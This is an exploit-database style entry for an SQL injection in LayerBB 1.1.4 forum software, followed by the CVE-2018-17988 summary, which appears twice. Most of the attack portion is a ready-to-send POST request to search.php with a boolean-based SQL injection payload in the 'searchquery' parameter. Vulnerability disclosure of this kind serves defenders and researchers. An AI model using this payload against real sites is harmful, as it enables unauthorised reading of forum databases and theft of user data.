LayerBB 1.1.4 - (search_query) SQL Injection Vulnerability

Exploit Title: LayerBB 1.1.4 - 'searchquery' SQL Injection Exploit Author: Görkem Haşin Version: 1.1.4 Tested on: Linux/Windows POST /search.php HTTP/1.1 Host: Target Payload: searchquery=Lffd' AND 8460=SELECT CASE WHEN 8460=8460 THEN 8460 ELSE SELECT 1560 UNION SELECT 2122 END--...

CVE-2018-17988

LayerBB 1.1.1 and 1.1.3 has SQL Injection via the search.php searchquery parameter...

CVE-2018-17988

LayerBB 1.1.1 and 1.1.3 has SQL Injection via the search.php searchquery parameter...